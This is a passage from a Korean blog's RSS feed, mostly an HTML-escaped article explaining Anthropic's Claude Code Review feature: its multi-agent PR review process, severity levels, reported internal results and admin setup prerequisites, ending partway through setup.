&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://supabase.com/docs/guides/getting-started/mcp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Supabase 공식 MCP 가이드&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/supabase-community/supabase-mcp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;supabase-community/supabase-mcp (GitHub)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://supabase.com/blog/mcp-server&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Supabase 공식 블로그 &amp;mdash; Supabase MCP Server&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://supabase.com/docs/reference/cli/introduction&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Supabase CLI Reference&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/MCP(2026) vs CLI</category>
      <category>AI 백엔드 개발 자동화</category>
      <category>Claude Code Supabase 연동</category>
      <category>mcp 추천</category>
      <category>Supabase CLI vs MCP</category>
      <category>supabase mcp</category>
      <category>Supabase MCP 설치</category>
      <category>Supabase OAuth MCP</category>
      <category>supabase-mcp 튜토리얼</category>
      <category>개발자 mcp</category>
      <category>유용한 mcp</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/549</guid>
      <comments>https://goddaehee.tistory.com/549#entry549comment</comments>
      <pubDate>Mon, 16 Mar 2026 21:30:22 +0900</pubDate>
    </item>
    <item>
      <title>Claude Code Review(Team, Enterprise 전용) 설정&amp;middot;비용&amp;middot;플랜 제한 정리 : Anthropic이 내부에서 쓰던 AI 코드 리뷰 시스템 공개</title>
      <link>https://goddaehee.tistory.com/548</link>
      <description>&lt;div
  style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
  &lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span
      style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요!
      갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div
  style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
  &lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;p data-ke-size=&quot;size8&quot;&gt;PR 리뷰 큐가 쌓이는 걸 본 적이 있을 것 이다. 개발자는 바쁘고, 모든 PR을 꼼꼼하게 읽을 시간은 없다. 결국 &quot;이 정도면 괜찮겠지&quot; 하는 훑어보기 리뷰가
    늘어나고, 그렇게 통과된 diff 어딘가에 한 줄짜리 인증 버그가 숨어 있다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;p data-ke-size=&quot;size8&quot;&gt;Anthropic도 이 문제를 직접 겪었다. Claude Code 덕분에 &lt;b&gt;엔지니어 1인당 코드 생산량이 지난 1년간 200% 증가&lt;/b&gt;했지만(출처: &lt;a
      style=&quot;color: #0066cc;&quot; href=&quot;https://claude.com/blog/code-review&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 블로그&lt;/a&gt;), 코드
    리뷰 역량은 따라오지 못했다. 코드를 더 많이, 더 빠르게 만드는 회사에서 리뷰가 병목이 된 것이다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;p data-ke-size=&quot;size8&quot;&gt;그래서 내부에서 직접 만들었다. 멀티 에이전트가 모든 PR을 자동으로 심층 분석하는 시스템. 수개월간 Anthropic 내부에서 운영하며 검증한 뒤, 2026년 3월
    9일 외부에 공개했다. 이름은 &lt;b&gt;Claude Code Review&lt;/b&gt;다.&lt;/p&gt;
  &lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1840&quot; data-origin-height=&quot;1050&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LWLwe/dJMcadOKWRs/8qmK4ColLKR5aun2Z2CRF0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LWLwe/dJMcadOKWRs/8qmK4ColLKR5aun2Z2CRF0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LWLwe/dJMcadOKWRs/8qmK4ColLKR5aun2Z2CRF0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLWLwe%2FdJMcadOKWRs%2F8qmK4ColLKR5aun2Z2CRF0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1840&quot; height=&quot;1050&quot; data-origin-width=&quot;1840&quot; data-origin-height=&quot;1050&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

  &lt;p data-ke-size=&quot;size8&quot;&gt;Code Review가 어떻게 작동하는지, 어떻게 시작하는지, 비용은 얼마인지, 실제로 효과가 있는지를 알아보자.&lt;/p&gt;
  &lt;!-- X(트위터) 공식 영상 --&gt;
  &lt;div style=&quot;display: flex; justify-content: center; margin: 20px 0;&quot;&gt;
    &lt;iframe src=&quot;https://platform.twitter.com/embed/Tweet.html?id=2031088171262554195&quot;
      style=&quot;width: 100%; max-width: 550px; min-height: 640px; border: none; border-radius: 12px;&quot;
      allowfullscreen=&quot;allowfullscreen&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;
  &lt;/div&gt;
  &lt;!-- 목차 --&gt;
  &lt;div
    style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
    &lt;h3
      style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot;
      data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
    &lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
      &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Claude Code Review 소개
        &lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot;
          data-ke-list-type=&quot;disc&quot;&gt;
          &lt;li&gt;기능 개요 및 출시 현황&lt;/li&gt;
          &lt;li&gt;출시 배경 &amp;mdash; Anthropic 내부 데이터&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;작동 원리
        &lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot;
          data-ke-list-type=&quot;disc&quot;&gt;
          &lt;li&gt;멀티 에이전트 아키텍처&lt;/li&gt;
          &lt;li&gt;리뷰 프로세스 단계&lt;/li&gt;
          &lt;li&gt;심각도 등급 (NormalNitPre-existing)&lt;/li&gt;
          &lt;li&gt;검사 대상&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;설정 방법 (Admin)
        &lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot;
          data-ke-list-type=&quot;disc&quot;&gt;
          &lt;li&gt;필수 조건&lt;/li&gt;
          &lt;li&gt;GitHub App 설치 단계&lt;/li&gt;
          &lt;li&gt;레포지토리 및 트리거 설정&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;커스터마이징
        &lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot;
          data-ke-list-type=&quot;disc&quot;&gt;
          &lt;li&gt;CLAUDE.md 활용&lt;/li&gt;
          &lt;li&gt;REVIEW.md 작성법 및 템플릿&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;분석 대시보드 및 비용
        &lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot;
          data-ke-list-type=&quot;disc&quot;&gt;
          &lt;li&gt;Analytics 대시보드&lt;/li&gt;
          &lt;li&gt;비용 구조 및 절감 팁&lt;/li&gt;
          &lt;li&gt;비용 대비 효과 (ROI)&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;GitHub Actions vs Code Review &amp;mdash; 선택 가이드&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;실제 성과 데이터&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;커뮤니티 반응&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;트러블슈팅 Q&amp;amp;A&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;
    &lt;b&gt;Claude Code Review 핵심 요약&lt;/b&gt;&lt;br /&gt;
    &lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;PR이 열리면 특화된 에이전트 팀이 자동으로 병렬 분석을 시작한다. 로직 오류, 보안 취약점, 엣지 케이스, 회귀
      버그를 잡아내고 인라인 코멘트로 결과를 남긴다. Anthropic이 내부에서 수개월간 검증한 시스템이 이제 Team&amp;middot;Enterprise 플랜에 리서치 프리뷰로 제공된다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 1: 소개 --&gt;
  &lt;h2
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Claude Code Review 소개&lt;/b&gt;&lt;/h2&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;기능 개요 및 출시
    현황&lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Code Review&lt;/b&gt;는 2026년 3월 9일 Anthropic이 발표한 Claude Code의
    신기능이다. GitHub Pull Request가 열리거나 업데이트될 때 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;특화된 에이전트 팀이 자동으로 배치되어 버그, 보안 취약점, 엣지 케이스를
        병렬로 분석&lt;/b&gt;&lt;/span&gt;하고 인라인 코멘트로 결과를 남긴다.&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;현재 상태: 리서치 프리뷰 (Research Preview)&lt;/b&gt;&lt;br /&gt;
    &lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Code Review는 현재 &lt;b&gt;리서치 프리뷰 단계&lt;/b&gt;이다. 정식 출시 전 단계이므로 기능, 가격, 사용 정책이
      변경될 수 있다. 또한 &lt;b&gt;Team 또는 Enterprise 플랜&lt;/b&gt;에서만 사용 가능하며, Pro/Max 개인 구독이나 &lt;b&gt;Zero Data Retention(ZDR) 활성화 조직&lt;/b&gt;에서는
      이용할 수 없다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Code Review의 핵심 특징:&lt;/p&gt;
  &lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;완전 자동화:&lt;/b&gt; PR 오픈 시 별도 트리거 없이 자동 실행&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;병렬 멀티 에이전트:&lt;/b&gt; 각 에이전트가 서로 다른 유형의 이슈를 동시에 탐색&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;인라인 코멘트:&lt;/b&gt; 문제가 발생한 정확한 코드 라인에 코멘트 게시&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;거짓 양성 최소화:&lt;/b&gt; 검증 단계를 거쳐 1% 미만의 오탐률 유지&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;비차단(Non-blocking):&lt;/b&gt; PR을 승인하거나 블록하지 않음, 기존 리뷰 프로세스 유지&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;커스터마이징:&lt;/b&gt; CLAUDE.md / REVIEW.md로 검사 기준 조정 가능&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;출시 배경
    &amp;mdash; Anthropic 내부 데이터&lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Code Review는 단순한 신기능이 아니다. Anthropic이 &lt;b&gt;수개월간 내부에서 직접 운영하며 검증한
      시스템&lt;/b&gt;이다. 출시와 함께 공개된 내부 데이터가 이를 증명한다. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://claude.com/blog/code-review&quot;
      target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Bringing Code Review to Claude Code&lt;/a&gt;)&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #f0f7ee; border: 1px solid #82c882; border-radius: 12px; padding: 20px 25px; margin: 20px 0;&quot;&gt;
    &lt;h4 style=&quot;margin: 0 0 15px 0; color: #1a5c1a; font-size: 17px;&quot; data-ke-size=&quot;size20&quot;&gt;Anthropic 내부 운영 성과&lt;/h4&gt;
    &lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
      &lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;코드 생산량 증가:&lt;/b&gt; Claude Code 전반의 개선으로 엔지니어 1인당 코드 생산량 &lt;span
          style=&quot;color: #ee2323; font-weight: bold;&quot;&gt;200% 증가&lt;/span&gt;&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;리뷰 커버리지 개선:&lt;/b&gt; 실질적인 리뷰 코멘트를 받은 PR 비율 &lt;span
          style=&quot;color: #ee2323; font-weight: bold;&quot;&gt;16% &amp;rarr; 54%&lt;/span&gt;&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;대형 PR (1,000줄 이상):&lt;/b&gt; &lt;span
          style=&quot;color: #ee2323; font-weight: bold;&quot;&gt;84%&lt;/span&gt;에서 버그 발견, 평균 &lt;b&gt;7.5개&lt;/b&gt; 이슈&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;소형 PR (50줄 이하):&lt;/b&gt; &lt;span
          style=&quot;color: #ee2323; font-weight: bold;&quot;&gt;31%&lt;/span&gt;에서 버그 발견, 평균 &lt;b&gt;0.5개&lt;/b&gt; 이슈&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;b&gt;정확도:&lt;/b&gt; 엔지니어가 &quot;잘못된 발견&quot;으로 표시한 오탐률 &lt;span
          style=&quot;color: #ee2323; font-weight: bold;&quot;&gt;1% 미만&lt;/span&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;실제 버그 발견 사례&lt;/b&gt;&lt;br /&gt;
    &lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[Anthropic 내부]&lt;/b&gt; 단 한 줄만 바뀐 프로덕션 서비스 PR이 있었다. 언뜻 보기에 무해한 변경으로
      빠른 승인을 받을 법했지만, Code Review가 이를 critical로 플래그했다. 해당 변경은 서비스 전체의 인증을 깨뜨릴 수 있는 코드였다. diff만 보면 눈에 띄지 않지만 지적받고 나면 명백한
      유형의 버그였다. 머지 전에 수정되었고, 해당 엔지니어는 &quot;혼자였다면 못 잡았을 것&quot;이라고 했다.&lt;/p&gt;
    &lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[TrueNAS 오픈소스 미들웨어]&lt;/b&gt; ZFS 암호화 리팩토링 PR에서, Code Review가 인접 코드에
      있던 &lt;b&gt;기존 버그(Pre-existing)&lt;/b&gt;를 발견했다. 타입 불일치 문제가 매번 동기화할 때마다 암호화 키 캐시를 조용히 지우고 있었다. PR이 도입한 버그가 아닌, 이미 코드베이스에 잠재되어
      있던 버그를 PR이 건드린 코드 주변을 분석하다가 잡아냈다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 2: 작동 원리 --&gt;
  &lt;h2
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 작동 원리&lt;/b&gt;&lt;/h2&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;멀티 에이전트 아키텍처
  &lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Code Review의 핵심은 &lt;b&gt;동적으로 할당된 에이전트들이 병렬로 작동하는 멀티 에이전트 시스템&lt;/b&gt;이다.
    단일 모델이 순차적으로 검토하는 것이 아니라, 각각 다른 유형의 버그를 찾도록 특화된 에이전트들이 동시에 PR diff와 전체 코드베이스를 분석한다. 분석은 &lt;b&gt;Anthropic 인프라&lt;/b&gt;에서 실행되며,
    팀의 CI 리소스나 GitHub Actions 시간을 소모하지 않는다.&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;규모에 따른 동적 할당&lt;/b&gt;&lt;br /&gt;
    &lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;리뷰 규모는 PR의 크기와 복잡도에 따라 자동으로 조정된다. 대형 PR 또는 복잡한 변경에는 더 많은 에이전트와 더
      심층적인 분석이 할당되고, 소형 PR에는 경량 검사가 이루어진다. 이 때문에 비용도 PR 크기에 비례하여 달라진다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;리뷰 프로세스 단계
  &lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;PR이 오픈되거나 업데이트되면 다음 단계로 진행된다:&lt;/p&gt;
  &lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
    &lt;li style=&quot;margin-bottom: 12px;&quot;&gt;&lt;b&gt;에이전트 배치:&lt;/b&gt; PR의 diff와 전체 코드베이스 컨텍스트를 기반으로 특화 에이전트팀 구성&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 12px;&quot;&gt;&lt;b&gt;병렬 분석:&lt;/b&gt; 각 에이전트가 서로 다른 유형의 버그를 동시에 탐색 (로직 오류, 보안 취약점, 엣지 케이스, 회귀 등)&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 12px;&quot;&gt;&lt;b&gt;검증 단계:&lt;/b&gt; 발견된 후보 버그들을 실제 코드 동작과 대조하여 거짓 양성 최소화&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 12px;&quot;&gt;&lt;b&gt;중복 제거 및 순위화:&lt;/b&gt; 결과를 중복 제거하고 심각도 순으로 정렬&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 12px;&quot;&gt;&lt;b&gt;결과 게시:&lt;/b&gt; 전체 요약 코멘트 1개 + 각 버그별 인라인 코멘트를 PR에 게시&lt;/li&gt;
  &lt;/ol&gt;
  &lt;div
    style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;완료 시간 안내&lt;/b&gt;&lt;br /&gt;
    &lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;PR을 열면 &lt;b&gt;수 분 안에 &quot;Claude Code Review&quot; 체크 런(Check Run)&lt;/b&gt;이
      GitHub에 나타난다. 이는 리뷰가 시작되었다는 신호다. 실제 분석이 완료되고 코멘트가 게시되기까지는 &lt;b&gt;평균 약 20분&lt;/b&gt;이 소요된다. 이슈가 없는 경우에는 확인 코멘트를 짧게 남긴다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;심각도 등급&lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;각 발견 항목은 세 가지 심각도 중 하나로 태깅된다:&lt;/p&gt;
  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;thead&gt;
      &lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
        &lt;th style=&quot;padding: 14px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 10%;&quot;&gt;마커&lt;/th&gt;
        &lt;th style=&quot;padding: 14px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 20%;&quot;&gt;심각도&lt;/th&gt;
        &lt;th style=&quot;padding: 14px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;의미&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; font-size: 20px; text-align: center;&quot;&gt;Normal&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Normal (버그)&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;머지 전에 반드시 수정해야 할 버그&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; font-size: 20px; text-align: center;&quot;&gt;Nit&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Nit (사소한 문제)&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;수정할 가치는 있지만 블로킹은 아닌 경미한 이슈&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; font-size: 20px; text-align: center;&quot;&gt;Pre-existing&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Pre-existing (기존 버그)&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;이번 PR이 도입한 것이 아닌, 코드베이스에 이미 존재하던 버그&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;div
    style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;확장된 추론 섹션 (Collapsible Extended Reasoning)&lt;/b&gt;&lt;br /&gt;
    &lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;각 발견 항목에는 접을 수 있는 &lt;b&gt;확장 추론 섹션&lt;/b&gt;이 포함된다. 이를 펼치면 Claude가 왜 이 이슈를
      플래그했는지, 어떻게 문제를 검증했는지 상세한 근거를 볼 수 있다. &quot;진짜 버그인지 아닌지&quot; 확인할 때 유용하다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Code Review가
    검사하는 항목&lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;기본적으로 Code Review는 &lt;b&gt;정확성(Correctness)&lt;/b&gt;에 집중한다. 포매팅 스타일이나 테스트
    커버리지 부족이 아닌, 프로덕션을 망가뜨릴 수 있는 실제 버그를 탐지한다:&lt;/p&gt;
  &lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;로직 오류 (Logic Errors):&lt;/b&gt; 잘못된 조건문, 오프바이원 오류, 잘못된 계산 등&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;보안 취약점 (Security Vulnerabilities):&lt;/b&gt; 인젝션, 인증 우회, 민감 데이터 노출 등&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;엣지 케이스 (Edge Cases):&lt;/b&gt; null/undefined 처리, 빈 컬렉션, 경계값 등&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;회귀 (Regressions):&lt;/b&gt; 기존 동작을 깨뜨리는 미묘한 변경&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;REVIEW.md 파일로 팀의 컨벤션이나 특정 항목 제외 규칙을 추가할 수 있다. (4섹션에서 상세 설명)&lt;/p&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 3: 설정 방법 --&gt;
  &lt;h2
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 설정 방법 (Admin)&lt;/b&gt;&lt;/h2&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;필수 조건&lt;/h3&gt;
  &lt;div
    style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;설정 전 확인사항&lt;/b&gt;
    &lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Claude 조직의 &lt;b&gt;Admin 권한&lt;/b&gt;&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;GitHub 조직에서 &lt;b&gt;GitHub App 설치 권한&lt;/b&gt;&lt;/li&gt;
